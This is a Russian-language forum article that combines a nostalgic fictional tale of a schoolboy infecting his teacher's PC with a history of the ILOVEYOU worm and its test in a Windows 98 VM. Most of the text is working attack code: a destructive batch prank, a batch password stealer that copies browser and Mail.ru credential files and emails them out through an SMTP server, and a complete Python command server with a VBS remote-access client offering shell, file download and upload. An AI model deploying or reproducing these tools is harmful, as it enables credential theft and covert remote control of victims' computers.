Статья Историческая вирусология или LoveLetter в цвете современности - 22 года спустя | немного ностальгии

Немного ностальгии: историческая вирусология или LoveLetter в цвете современности - 22 года спустя

c19d2987b453f0054d66a2192fbaaf34.gif

И приветики, как бы.. Думаю, что о мне уже многие успели и забыть, а оно и не странно, ведь последняя моя работа датирована концом февраля. Я здесь не говорить о том, что случилось, как и где, не буду рассуждать кто прав, кто виноват, а тем уж более судить. Почему? Не хочу, все это обсуждалось уже миллионы раз, нет.. Миллиарды. А есть ли в этом смысл? Тогда расскажите мне каков.

Итак, переходим сразу к сути. Давненько я не брался за перо, скажем так, в ряду обстоятельств, поэтому вряд-ли выйдет что-то супер годное, коль у нас лишь обычная подборочка: без сюжета ( в процессе передумал), без пафоса.

В статье есть обороты личности: рассказ ведется то от лица автора, то от лица персонажа.

Щелчок пальцев; тишина; начинаем погружение в мир примитивной информационной безопасности.

Дисклеймер


На самом деле я против зла и то, что я покажу вам далее, может быть,
практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания.


Педро: не мудрствуя лукаво в прошлом - или школьные проделки каждого cred: 2005-2012.

К слову это лишь предыстория к исторической сводке, хе-хе.

2006 год, теплый весенний вечер, близится к лету. Последние контрольные уже написаны, годовые выставлены, учебный год вскоре обретет конец.

Вот только что же делать в последнюю неделю? Родители гонят в школу, мол нечего прогуливать, уверены, что буду бесчинствовать и переворачивать дом вверх дном когда останусь один.

Меня зовут Педро Пугачевский и я типичный школьник на постсоветском пространстве нулевых годов с нетипичным именем, за которое кстати мне часто прилетает, а это повествование о том, как я познавал скриптинг и был отчислен из школы в последнюю неделю учебы. Поехали.

Тот самый вечер воскресенья, подготовив план на завтра, ищем в поисковике форум, на котором было бы расписано о BAT вирусах, банально переписываем содержимое на тетрадку, прежде немного исследовав код. Нельзя ведь запускать то, чего не понимаешь, верно?

Screenshot_1.png

(ностальгия немного, тема 2006 года)

Ну, небольшое отступление, рассказывать о БАТ командах и том, как раньше ими можно было приколоть друга или учителя информатики, смысла нет.

Формально и грубо говоря, сам вот этот файл - это набор системных интерпретаторов в виде текстового документа, которые просто выполняются через CMD. То есть если вставить команду в строку Виндоус, то произойдёт то же самое. Это уже для людей, которых не было ещё в той эпохе. Хе-е..

Сначала Педро решает протестировать простенькие примеры, типа:
Код:
Echo_inactive_inactive Привет, я Педро!!
pause

Этот пример выводит в командную строку текст, который мы укажем. Естественно, это понять было не тяжело, поэтому тестируем дальше.

Bash:
Echo_inactive_inactive off
for /l %%i in (1,1,10000) do mkdir "dir %%i"

Создадим 10.000 папок, почему нет.
Bash:
Echo_inactive_inactive off
start paint.exe

Или откроем рисовалку Пейнт, все это, конечно весело, но мне, как истинному Педро, хочется чего-то глобального, поэтому находим на форуме каком-то вот это чудо:
Bash:
@echo off

rundll32 keyboard,disable

rundll32 mouse,disable

copy %0 %windir%/system

echo run=%windir%/system/*.bat >> win.ini

echo run=%windir%/system/*.bat >> system.ini

label LOHOLAMMER

if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r

deltree /y c:\autoexec.bat > nul

echo autoexec.bat echo Учитель лох > c:\autoexec.bat

rundll32 mouse,enable

echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js

echo WSHShell.Popup("Warning,..Здарова, учитель, у тебя 10 секунд чтобы разбить системник, иначе все компы класса сгорят."); >> %temp%\mes.js

start %temp%\mes.js

deltree /y %temp%\mes.js

attrib c:\autoexec.bat +h +s +a +r

pause

cls

Ну, как бы здесь все примитивно: отключаем клавиатуру и мышь, попадаем в автозагрузку, переименовываем диск С и выводим окошко с варнингом.

Если перенесемся на мгновение в реальность, то в большинстве своем это уже не актуально от слова совсем. Хотя на людей без антивирусного ПО, как вот автор, сработает, да, но обычными шалостями мало чего можно достичь, пример батника, который можно использовать даже сейчас(пароли как-бы ворует):
Bash:
@echo off

md %systemroot%\wincs

md %SystemDrive%\pass\

md %SystemDrive%\pass\opera\

md %SystemDrive%\pass\Mozilla\

md %SystemDrive%\pass\MailAgent\

md %SystemDrive%\pass\MailAgent\reg

attrib %systemroot%\wincs +h +s +r

attrib %SystemDrive%\pass +h +s +r

copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"

copy /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"

copy /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"

CD /D %APPDATA%\Opera\Opera\

copy /y wand.dat %SystemDrive%\pass\opera\wand.dat

copy /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da

regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2

regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3

CD /D %APPDATA%

Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul

Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul

cd %AppData%\Mozilla\Firefox\Profiles\*.default\

copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite

copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db

copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite

copy /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul

del /s /q %SystemRoot%\Rar.exe

%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\

copy /y  %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar

cd %systemroot%\wincs

%systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw Пароль

ren *.rar pass.rar

%systemroot%\wincs\blat.exe -body FilesPassword -to логин@yandex.ru -attach %systemroot%\wincs\pass.rar

rmdir /s /q %SystemDrive%\pass

rmdir /s /q %systemroot%\wincs

del /s /q %systemroot%\blat.exe

del /s /q %systemroot%\blat.dll

del /s /q %systemroot%\blat.lib

attrib +a +s +h +r %systemroot%\wind.exe

EXIT

cls


Как бы странно не звучало, но эта штука работает на седьмом Виндоусе без любого защитного ПО.

Возвращаемся к Педро.

Понедельник, раннее утро.

Сегодня я решил встать пораньше и поспешить в школу, ведь первым уроком та самая информатика, где я и смогу протестировать этот батник.

Screenshot_15.png


Спустя несколько часов.

Переписав в обычный блокнот текст “вируса”, хотя на то время его можно было вполне таковым считать, сохраняю как “Олег, хватит курить.txt.bat” (Дань памяти информатику автора, который умер от рака легких).

Затем с помощью склейщика мы можем сменить иконку под текстовый файл, скомпилировав в exe, но я не помню, было ли в 2006 году такое, поэтому этот процесс упустим.

В целом, далее манипуляции происходят исходя из того, что все компьютеры в классе информатики находятся в одной локальной сети. И с легкостью можно переместить на рабочий стол сие батник, но цель Педро - компьютер учителя.

Поэтому Педро переходит в Сетевое окружение и помещает вредонос на целевую машину, после ждет реакции.

Следующий кадр: отец избивает Педро за то, что того выгнали из школы, а это была единственное учебное заведение в городе.

Черный экран, титры. Теперь мы переносимся немного вперед во времени, техникум соседнего города, 2011 год. Тот самый Педро сидит со стареньким ноутбуком на коленях, преподаватель, увидев интерес ко всяким шалостям, дал нашему герою следующую задачу: Используя исключительно системные утилиты, получить доступ к устройству. Сижу вот значится ломаю себе голову, сразу вспоминаются мои шалости с БАТ, но на ум ничего особо не приходит.

Но после подумал о вирусе ILoveyou, который работал на VBS, то есть на сценариях Виндоус, если последнее включены в системе. Имея уже некоторые познания в Питоне и VBS скриптинге, я могу попытаться воссоздать что-то сервера и эксполита VBS. Займемся этим.

Автор не особо кодер, поэтому сервер будет выглядеть следующим образом:
Python:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import cgi
import os
import sys
from Queue import Queue
from threading import Thread
from shutil import copyfile, rmtree
import ntpath

PORT_NUMBER = 8080


class myHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # File download
        if self.path.startswith('/f/'):
            # Compile path
            filename = ntpath.basename(self.path)
            filepath = './upload/%s' % filename

            # 404 if no valid file
            if not os.path.exists(filepath):
                self.send_error(404)
                return

            # Return file
            with open(filepath, 'rb') as f:
                self.send_response(200)
                self.send_header('content-type', 'application/octet-stream')
                self.end_headers()
                self.wfile.write(f.read())

            # Remove file from disk
            os.remove(filepath)

            return

        if commands.empty():
            content = 'NOOP'
        else:
            content = commands.get()

        # Return result
        self.send_response(200)
        self.send_header('content-type', 'text/plain')
        self.end_headers()
        self.wfile.write(content)
        return

    # Result from executing command
    def do_POST(self):
        global context

        # File upload
        form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD': 'POST'})
        cmd_data = form['cmd'].file.read()
        result_filename = form['result'].filename
        result_data = form['result'].file.read()

        # Show '> ' command input string after command output
        if context:
            cmd_data = cmd_data.replace(context + ' ', '')
        print cmd_data

        # Store file
        if self.path == '/upload':
            # Create folder if required
            if not os.path.exists('Downloads'):
                os.mkdir('Downloads')

            # Write file to disk
            with file(os.path.join('Downloads', result_filename), 'wb') as f:
                f.write(result_data)

            print 'File \'%s\' downloaded.' % result_filename
        # Print output
        else:
            print result_data

        sys.stdout.write('%s> ' % context)

        # Respond
        self.send_response(200)
        self.send_header('content-type', 'text/plain')
        self.end_headers()
        self.wfile.write('OK')
        return

    # Do not write log messages to console
    def log_message(self, format, *args):
        return


def run_httpserver():
    #commands.put('GET C:\\secret.bin')
    #commands.put('SHELL dir C:\\')
    #commands.put('SHELL type client.vbs')
    global server
    server = HTTPServer(('', PORT_NUMBER), myHandler)
    server.serve_forever()

commands = Queue()
server = None
context = ''
variables = {}

def main():
    # Start HTTP server thread
    #run_httpserver() # Run without treads for debugging purposes
    httpserver = Thread(target=run_httpserver)
    httpserver.start()

    # Loop to add new commands
    global context, variables
    s = ''
    while True:
        s = raw_input('%s> ' % context)
        s = s.strip()
        splitcmd = s.split(' ', 1)
        cmd = splitcmd[0].upper()

        # In a context
        if context == 'SHELL' and cmd != 'CD':
            cmd = context

            if s.upper() == 'EXIT':
                context = ''
                continue
            else:
                args = s

                # Ignore empty commands
                if not args:
                    continue
        # No context
        else:
            args = ''
            if len(splitcmd) > 1:
                args = splitcmd[1]

            # Ignore empty commands
            if not cmd:
                continue

            # UPLOAD
            elif cmd == 'UPLOAD':
                args = args.strip("\"")

                # Check file existence
                if not os.path.exists(args):
                    print 'File not found: %s' % args
                    continue

                # Check if LHOST variable is set
                if 'LHOST' not in variables:
                    print 'Variable LHOST not set'
                    continue
                lhost = variables['LHOST']

                # Create folder if required
                if not os.path.exists('upload'):
                    os.mkdir('upload')

                # Copy file
                filename = ntpath.basename(args)
                copyfile(args, './upload/%s' % filename)

                # Update command and args
                cmd = 'WGET'
                args = 'http://%s:%d/f/%s' % (lhost, PORT_NUMBER, filename)

            # UNSET
            elif cmd == 'UNSET':
                if args.upper() in variables:
                    del variables[args.upper()]
                continue

            # SHELL
            elif cmd == 'SHELL' and not args:
                context = 'SHELL'
                continue

            # SET
            elif cmd == 'SET':
                if args:
                    (variable, value) = args.split(' ')
                    variables[variable.upper()] = value
                else:
                    print '\n'.join('%s: %s' % (key, value) for key,value in variables.iteritems())
                continue

            # HELP
            elif cmd == 'HELP':
                print 'Supported commands:\n' \
                      '- CD [directory]     - Change directory. Shows current directory when without parameter.\n' \
                      '- DOWNLOAD [path]    - Download the file at [path] to the .\\Downloads folder.\n' \
                      '- GETUID             - Get shell user id.\n' \
                      '- GETWD              - Get working directory. Same as CD.\n' \
                      '- HELP               - Show this help.\n' \
                      '- IFCONFIG           - Show network configuration.\n' \
                      '- KILL               - Stop script on the remote host.\n' \
                      '- PS                 - Show process list.\n' \
                      '- PWD                - Same as GETWD and CD.\n' \
                      '- SET [name] [value] - Set a variable, for example SET LHOST 192.168.1.77.\n' \
                      '                       When entered without parameters, it shows the currently set variables.\n' \
                      '- SHELL [command]    - Execute command in cmd.exe interpreter;\n' \
                      '                       When entered without command, switches to SHELL context.\n' \
                      '- SHUTDOWN           - Exit this commandline interface (does not shutdown the client).\n' \
                      '- SYSINFO            - Show sytem information.\n' \
                      '- SLEEP [ms]         - Set client polling interval;\n' \
                      '                       When entered without ms, shows the current interval.\n' \
                      '- UNSET [name]       - Unset a variable\n' \
                      '- UPLOAD [localpath] - Upload the file at [path] to the remote host.\n' \
                      '                       Note: Variable LHOST is required.\n' \
                      '- WGET [url]         - Download file from url.\n'
                continue

            # SHUTDOWN
            elif cmd == 'SHUTDOWN':
                server.shutdown()
                if os.path.exists('./upload'):
                    rmtree('./upload')
                print 'Shutting down %s' % os.path.basename(__file__)
                exit(0)

        commands.put(' '.join([cmd, args]))

if __name__ == '__main__':
    main()


Возможно, не самое лучшее решение, но написано буквально за минут 30, особо не ломая голову.

Файлик .vbs закодил наш Педро таким манером:
Visual Basic:
Option Explicit
On Error Resume Next

' Instantiate objects
Dim shell: Set shell = CreateObject("WScript.Shell")
Dim fs: Set fs = CreateObject("Scripting.FileSystemObject")
Dim wmi: Set wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest")
If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP")
If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")

' Initialize variables used by GET/WGET
Dim arrSplitUrl, strFilename, stream

' Configuration
Dim strHost, strPort, strUrl, strCD, intSleep
strHost = "127.0.0.1"
strPort = "8080"
intSleep = 5000
strUrl = "http://" & strHost & ":" & strPort
strCD =  "."

' Periodically poll for commands
Dim strInfo
While True
    ' Fetch next command
    http.Open "GET", strUrl & "/", False
    http.Send
    Dim strRawCommand
    strRawCommand = http.ResponseText

    ' Determine command and arguments
    Dim arrResponseText, strCommand, strArgument
    arrResponseText = Split(strRawCommand, " ", 2)
    strCommand = arrResponseText(0)
    strArgument = ""
    If UBound(arrResponseText) > 0 Then
        strArgument = arrResponseText(1)
    End If

    ' Fix ups
    If strCommand = "PWD" Or strCommand = "GETWD" Then
        strCommand = "CD"
        strArgument = ""
    End If

    ' Execute command
    Select Case strCommand
        ' Sleep X seconds
        Case "NOOP"
            WScript.Sleep intSleep
   
        ' Get host info
        Case "SYSINFO"
            Dim objOS, strComputer, strOS, strBuild, strServicePack, strArchitecture, strLanguage
            For Each objOS in wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")
               strComputer = objOS.CSName
               strOS = objOS.Caption
               strBuild = objOS.BuildNumber
               strServicePack = objOS.CSDVersion
               strArchitecture = objOS.OSArchitecture
               strLanguage = objOS.OSLanguage
               Exit For
            Next

            Dim strVersion
            strVersion = strOS & " (Build " & strBuild
            If strServicePack <> "" Then
                strVersion = strVersion & ", " & strServicePack
            End If
            strVersion = strVersion & ")"
       
            strInfo = "Computer: " & strComputer & vbCrLf & _
                      "OS: " & strVersion & vbCrLf & _
                      "Architecture: " & strArchitecture & vbCrLf & _
                      "System Language: " & strLanguage

            SendStatusUpdate strRawCommand, strInfo

        ' Current user, including domain
        Case "GETUID"
            Dim strUserDomain, strUsername
            strUserDomain = shell.ExpandEnvironmentStrings("%USERDOMAIN%")
            strUsername = shell.ExpandEnvironmentStrings("%USERNAME%")
            strInfo = "Username: " & strUserDomain & "\" & strUserName
       
            SendStatusUpdate strRawCommand, strInfo

        ' IP configuration
        Case "IFCONFIG"
            Dim arrNetworkAdapters: Set arrNetworkAdapters = wmi.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE MACAddress > ''")
            Dim objAdapter
            strInfo = ""
            For Each objAdapter In arrNetworkAdapters
                strInfo = strInfo & objAdapter.Description & vbCrLf
                If IsArray(objAdapter.IPAddress) Then
                    strInfo = strInfo & Join(objAdapter.IPAddress, vbCrLf) & vbCrLf & vbCrLf
                Else
                    strInfo = strInfo & "[Interface down]" & vbCrLf & vbCrLf
                End If
            Next

            ' Remove trailing \r\n's
            strInfo = Mid(strInfo, 1, Len(strInfo)-4)

            SendStatusUpdate strRawCommand, strInfo

        ' Process list
        Case "PS"
            Dim arrProcesses: Set arrProcesses = wmi.ExecQuery("SELECT * FROM Win32_Process")
            strInfo = PadRight("PID", 5) & "  " & PadRight("Name", 24) & "  " & "Session" & "  " & PadRight("User", 19) & "  " & "Path" & vbCrLf & _
                      PadRight("---", 5) & "  " & PadRight("----", 24) & "  " & "-------" & "  " & PadRight("----", 19) & "  " & "----" & vbCrLf
            Dim objProcess, strPID, strName, strSession, intHresult, strPDomain, strPUsername, strDomainUser, strPath
            For Each objProcess In arrProcesses
                strPID = objProcess.Handle
                strName = objProcess.Name
                strSession = objProcess.SessionId
                intHresult = objProcess.GetOwner(strPUsername, strPDomain)
                Select Case intHresult
                    Case 0
                        strDomainUser = strPDomain & "\" & strPUsername
                    Case 2
                        strDomainUser = "[Access Denied]"
                    Case 3
                        strDomainUser = "[Insufficient Privilege]"
                    Case 8
                        strDomainUser = "[Unknown Failure]"
                    Case Else
                        strDomainUser = "[Other]"
                End Select
           
                strPath = objProcess.ExecutablePath

                strInfo = strInfo & PadRight(strPid, 5) & "  " & PadRight(strName, 24) & "  " & PadRight(strSession, 7) & "  " & PadRight(strDomainUser, 19) & "  " & strPath & vbCrLf
            Next

            ' Remove trailing newline
            strInfo = Mid(strInfo, 1, Len(strInfo)-2)

            SendStatusUpdate strRawCommand, strInfo

        ' Set sleep time
        Case "SLEEP"
            If strArgument <> "" Then
                intSleep = CInt(strArgument)
                SendStatusUpdate strRawCommand, "Sleep set to " & strArgument & "ms"
            Else
                Dim strSleep
                strSleep = CStr(intSleep)
                SendStatusUpdate strRawCommand, "Sleep is currently set to " & strSleep & "ms"
                strSleep = Empty
            End If
   
        ' Execute command
        Case "SHELL"
            'Execute and write to file
            Dim strOutFile: strOutFile = fs.GetSpecialFolder(2) & "\rso.txt"
            shell.Run "cmd /C pushd """ & strCD & """ && " & strArgument & "> """ & strOutFile & """ 2>&1", 0, True

            ' Read out file
            Dim file: Set file = fs.OpenTextFile(strOutfile, 1)
            Dim text
            If Not file.AtEndOfStream Then
                text = file.ReadAll
            Else
                text = "[empty result]"
            End If
            file.Close
            fs.DeleteFile strOutFile, True

            ' Set response
            SendStatusUpdate strRawCommand, text

            ' Clean up
            strOutFile = Empty
            text = Empty

        ' Change Directory
        Case "CD"
            ' Only change directory when argument is provided
            If Len(strArgument) > 0 Then
                Dim strNewCdPath
                strNewCdPath = GetAbsolutePath(strArgument)

                If fs.FolderExists(strNewCdPath) Then
                    strCD = strNewCdPath
                End If
            End If

            SendStatusUpdate strRawCommand, strCD

        ' Download a file from a URL
        Case "WGET"
            ' Determine filename
            arrSplitUrl = Split(strArgument, "/")
            strFilename = arrSplitUrl(UBound(arrSplitUrl))
            strFilename = GetAbsolutePath(strFilename)

            ' Fetch file
            Err.Clear() ' Set error number to 0
            http.Open "GET", strArgument, False
            http.Send

            If Err.number <> 0 Then
                SendStatusUpdate strRawCommand, "Error when downloading from " & strArgument & ": " & Err.Description
            Else
                ' Write to file
                Set stream = createobject("Adodb.Stream")
                With stream
                    .Type = 1 'adTypeBinary
                    .Open
                    .Write http.ResponseBody
                    .SaveToFile strFilename, 2 'adSaveCreateOverWrite
                End With

                ' Set response
                SendStatusUpdate strRawCommand, "File download from " & strArgument & " successful."
            End If

            ' Clean up
            arrSplitUrl = Array()
            strFilename = Empty

        ' Send a file to the server
        Case "DOWNLOAD"
            Dim strFullSourceFilePath
            strFullSourceFilePath = GetAbsolutePath(strArgument)

            ' Only download if file exists
            If fs.FileExists(strFullSourceFilePath) Then
                ' Determine filename
                arrSplitUrl = Split(strFullSourceFilePath, "\")
                strFilename = arrSplitUrl(UBound(arrSplitUrl))

                ' Read the file to memory
                Set stream = CreateObject("Adodb.Stream")
                stream.Type = 1 ' adTypeBinary
                stream.Open
                stream.LoadFromFile strFullSourceFilePath
                Dim binFileContents
                binFileContents = stream.Read

                ' Upload file
                DoHttpBinaryPost "upload", strRawCommand, strFilename, binFileContents

                ' Clean up
                binFileContents = Empty
            ' File does not exist
            Else
                SendStatusUpdate strRawCommand, "File does not exist: " & strFullSourceFilePath
            End If

            ' Clean up
            arrSplitUrl = Array()
            strFilename = Empty
            strFullSourceFilePath = Empty

        ' Self-destruction, exits script
        Case "KILL"
            SendStatusUpdate strRawCommand, "Goodbye!"
            WScript.Quit 0

        ' Unknown command
        Case Else
            SendStatusUpdate strRawCommand, "Unknown command"
    End Select

    ' Clean up
    strRawCommand = Empty
    arrResponseText = Array()
    strCommand = Empty
    strArgument = Empty
    strInfo = Empty
Wend


Function PadRight(strInput, intLength)
    Dim strOutput
    strOutput = LEFT(strInput & Space(intLength), intLength)
    strOutput = LEFT(strOutput & String(intLength, " "), intLength)
    PadRight = strOutput
End Function


Function GetAbsolutePath(strPath)
    Dim strOutputPath
    strOutputPath = ""

    ' Use backslashes
    strPath = Replace(strPath, "/", "\")

    ' Absolute paths : \Windows C:\Windows D:\
    ' Relative paths: .. ..\ .\dir .\dir\ dir dir\ dir1\dir2 dir1\dir2\
    If Left(strPath, 1) = "\" Or InStr(1, strPath, ":") <> 0 Then
        strOutputPath = strPath
    Else
        strOutputPath = strCD & "\" & strPath
    End If

    GetAbsolutePath = fs.GetAbsolutePathName(strOutputPath)
End Function


Function SendStatusUpdate(strText, strData)
    Dim binData
    binData = StringToBinary(strData)
    DoHttpBinaryPost "cmd", strText, "cmdoutput", binData
End Function


Function DoHttpBinaryPost(strActionType, strText, strFilename, binData)
    ' Compile POST headers and footers
    Const strBoundary = "----WebKitFormBoundaryNiV6OvjHXJPrEdnb"
    Dim binTextHeader, binText, binDataHeader, binFooter, binConcatenated
    binTextHeader = StringToBinary("--" & strBoundary & vbCrLf & _
                                   "Content-Disposition: form-data; name=""cmd""" & vbCrLf & vbCrLf)
    binDataHeader = StringToBinary(vbCrLf & _
                                   "--" & strBoundary & vbCrLf & _
                                   "Content-Disposition: form-data; name=""result""; filename=""" & strFilename & """" & vbCrLf & _
                                   "Content-Type: application/octet-stream" & vbCrLf & vbCrLf)
    binFooter = StringToBinary(vbCrLf & "--" & strBoundary & "--" & vbCrLf)

    ' Convert command to binary
    binText = StringToBinary(strText)

    ' Concatenate POST headers, data elements and footer
    Dim stream : Set stream = CreateObject("Adodb.Stream")
    stream.Open
    stream.Type = 1 ' adTypeBinary
    stream.Write binTextHeader
    stream.Write binText
    stream.Write binDataHeader
    stream.Write binData
    stream.Write binFooter
    stream.Position = 0
    binConcatenated = stream.Read(stream.Size)

    ' Post data
    http.Open "POST", strUrl & "/" & strActionType, False
    http.SetRequestHeader "Content-Length", LenB(binConcatenated)
    http.SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundary
    http.SetTimeouts 5000, 60000, 60000, 60000
    http.Send binConcatenated
 
    ' Receive response
    DoHttpBinaryPost = http.ResponseText
End Function


Function StringToBinary(Text)
    Dim stream: Set stream = CreateObject("Adodb.Stream")
    stream.Type = 2 'adTypeText
    stream.CharSet = "us-ascii"

    ' Store text in stream
    stream.Open
    stream.WriteText Text

    ' Change stream type To binary
    stream.Position = 0
    stream.Type = 1 'adTypeBinary
 
    ' Return binary data
    StringToBinary = stream.Read
End Function


Естественно указываем IP машины, на которой запущен слушатель-сервер, но думаю, сами понимаете насколько все плохо, раз в самом “вирусе” есть айпи атакующей машины.

Преподаватель похвалил нашего Педро за сообразительность, а после, раз уж его ученик использовал системные сценарии для эксплуатации, то он решил поведать о этом небольшую историю, а именно о вирусе, который нанес около 15 млрд. долларов ущерба по всему миру и заразил около 155 млн. устройств - ILoveyou.

На деле вся эта история была лишь подводкой к этому рассказу. Мы окунемся в прошлое, разберемся что, как и где, а после немного обновим сие вредонос, протестировав его в современных реалиях.

Немного ностальгии: историческая вирусология или LoveLetter в цвете современности - 22 года спустя

Итак, вредонос Iloveyou или же LoveLetter, чертовая легенда начала нулевых, которая действительно взбудоражила весь мир на то время.

Ведь именно тогда Виндоус начала обретать популярность и распространяться в государственных учреждениях: банках, крупных компаниях, даже в Пентагоне.

Как по мне, идеально подобранное время, ведь если бы создатель подождал хотя бы до 2003 года, то вряд-ли бы все сработало так гладко, ведь в то время вышла ХР.

И вот - 2000 год, ночь с 4 на 5 мая и первое сообщение на Outlook из Филиппин с заголовком “Love Letter for You” и прикрепленным файлом Love_Letter_for_You.TXT.vbs.

Screenshot_3.png


Как бы сами понимаете, что в 2000 году компьютеры были лишь у 25% населения, а может и того меньше кстати, о понятии "безопасность в сети" тогда и речи не шло, а примитивная социальная инженерия, типа этой, только сейчас кажется абсурдной, но тогда это работало в 90% случаев, от чего и такое дикое распространение.

И что же происходит при открытии такого вот любовного письма?

(Кстати ниже будут тесты на различных версиях Виндоус и оценка работоспособности этой штуки в наших реалиях, в экспериментах примет участие как оригинальная версия червя, так и обновленная от 2021 года).

Для начала этот зловред рассылал копию самого себя с тем же самым текстом всем контактам в Outlook’e, далее он шифровал файлы с определенным расширением, заменяя их на свой код, оригинал или удалялся, или прятался. В последних версиях был добавлен вариант распространения через ARC каналы. Вирус не просто кодировал все фото, видео и музыку, он в основе своей занимался кражей паролей от доступа к Интернет, да, но то время это было актуально.

Кстати, этот простенький, с первого взгляда, вредонос был удостоен чести попасть в книгу рекордов Гиннесса, как самый дорогостоящий вирус в истории человечества.

Screenshot_4.png


Как и в примере с Педро здесь был сделан упор на включенную отработку сценариев Виндоус, то есть VBS, а хитрость была ещё и в том ,что в то время во многих была включена настройка скрытия расширения системных файлов, хотя на моей виндовс ‘98 , такой штуки не было и все было по дефолту с расширениями. (Сейчас кстати в папке он отображается без .VBS, ы).

Как я уже ранее говорил, ущерб от этого червя нулевых составил около 15 млрд. долларов, должно быть создатель невероятно богат и сидит работает где-то в Майкрософт. Ммм, не совсем.

Кстати, официально имя автора было раскрыто только в 2020 году, им оказался житель Филиппин Анель де Гузман. Он озвучил множество версий: что, как и почему, но все было ради того, чтобы уйти от наказания, кстати, это-то ему и удалось.

Screenshot_5.png


Из его уст звучали самые разнообразные версии, объясняющие почему именно от его почты начался этот хаос мирового маштаба.

Официальной теорией до 2020 года, было то, что не он создатель этого вредоноса, а его друг, который влюбился в его девушку и решил её взломать.. Эм-м.. Да, странная любоФФь. Упустим. А уже от ПК девушки было прислано письмо Анелю, который якобы случайно его открыл.

Но недавно он заявил, что является истинным создателем Iloveyou, никакая ответственность ему уже не грозит из-за срока давности дела в 22 года.

Как оказалось де Гузман создал этот вирус на базе своей прошлой разработки из колледжа, только добавив ему возможность рассылаться всем в списке контактов через аутлук.

Как проект или дипломная работа, первая версия этого вредоноса была создана, тогда ещё студентом, де Гузманом в 1998.

Тогда это был простой сценарий, который воровал все пароли и личные данные, а после и отсылал те через аутлук создателю.

В то время Анель пытался этим продемонстрировать надобность защиты персональных данных, но преподаватели не оценили его проект и на этом все закончилось.

Хотя его последнее заявление о том, как распространялся вредонос совсем уж похоже на неудачный стендап: он скинул готовый вирус кому-то из Сингапура, а после пошел пить пиво с другом. Спустя несколько дней он узнает, что его ищет полиция от своей матери, которая спрятала все оборудование сына и прикрывала его.


Май 2020, Манила, Филиппины. Некий журналист-расследователь Джеф Уайт в ходе написания книги о киберпреступности нашел нашего пациента работающим в ларьке по починке мобильных телефонов.

В коротеньком интервью де Гузман признается в создании этого зловреда, взяв полностью вину на себя.

Итак, первый запуск скрипта Iloveyou , что же происходит - разберемся в подробностях.

Сперва происходит массовое копирование в системные директории, типа system32 и реестр, затем запускается сканирование файлов с указанными расширениями, в оригинале были указаны: mp3, 3gp, jpeg и js. Все файлы с такими расширениями подвергались замене на копию скрипта, но с названием заменяемого файла.

В некоторых, более доработанных версиях, была возможность загрузить дополнительные вирусные модули, которые впоследствии приводили к отказу системы.

К слову, немного статистики, через 5 дней после появления вируса, заражено было больше 4.000.000 машин. Ну сами понимаете на то время, это очень много. Суммарно заражено более 155 млн. устройств, а ущерб составил от 7 до 15 млрд. долларов. Некоторые компании прекратили свою работу навсегда.

Ну, а теперь погнали к практике. Мне удалось раздобыть практически оригинальную версию любовного письма, после мы его слегка модифицируем, идем к тестам.

Итак, расскажу заодно, может кому пригодиться, как я ставил образ 98-й на VM VirtualBox. Особо сложно ничего нет, просто придется скачать заранее размеченное пространство, вместе с установленной там системой и обозначить его как виртуальный жесткий диск для системы.

Screenshot_6.png


Делается это просто, сперва создаем новую машину: обозначаем ,что это 98-й шиндоус, как либо называем его. Очень важный нюанс - выдать нашей машине целое значение оперативной памяти, в противном случае он будет говорить, что ему её недостаточно. 512 мегабайт хватает с лихвой, но я остановился на 1024, хотя сперва выдал ему нецелое значение в 3333.

Кликаем далее, использовать существующий виртуальный диск, и выбираем вот этот вот, который скачать можно здесь. (ссылка).

После создания машины, переходим в настройки, система - процессор. Ставим один процессор и одно ядро, включаем функцию PAE/NX, а это в свою очередь режим работы встроенного блока управления памятью x86-совместимых процессоров.

В настройке дисплея желательно врубить ускорение 3D графики, готово к запуску.

Кстати 95-я ставится таким же образом.

Итак, специально заходим в Майкрософт Аутлук, делаем там почту и создаем пару контактов, потом создадим-ка парочку фотографий, рисунков и файлов с форматом .mp3. А теперь и откроем наше любовное письмо нулевых.
Screenshot_7.png



Сразу же можно заметить, как заменяются аудиофайлы на копии скрипта, затем открываются окошки с OutLook и происходит рассылка на все имеющиеся контакты.

